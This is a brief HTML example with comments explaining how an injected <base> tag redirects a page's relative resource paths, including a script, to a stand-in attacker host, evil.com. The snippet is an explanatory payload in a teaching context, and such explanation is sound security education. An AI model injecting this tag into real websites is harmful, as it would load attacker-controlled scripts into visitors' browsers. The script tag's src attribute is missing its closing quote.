Description of how the <base> tag works

base.html

<img src="/img/logo.png">
<script src="/js/main.js></script>

<!-- 
With the addition of a <base> tag the src attributes above will look like:
  https://evil.com/img/logo.png
  https://evil.com/js/main.js
-->
<base href="https://evil.com">

<!-- So, you can imagine the kind of damage you can do if you can inject a <base> tag into a webpage -->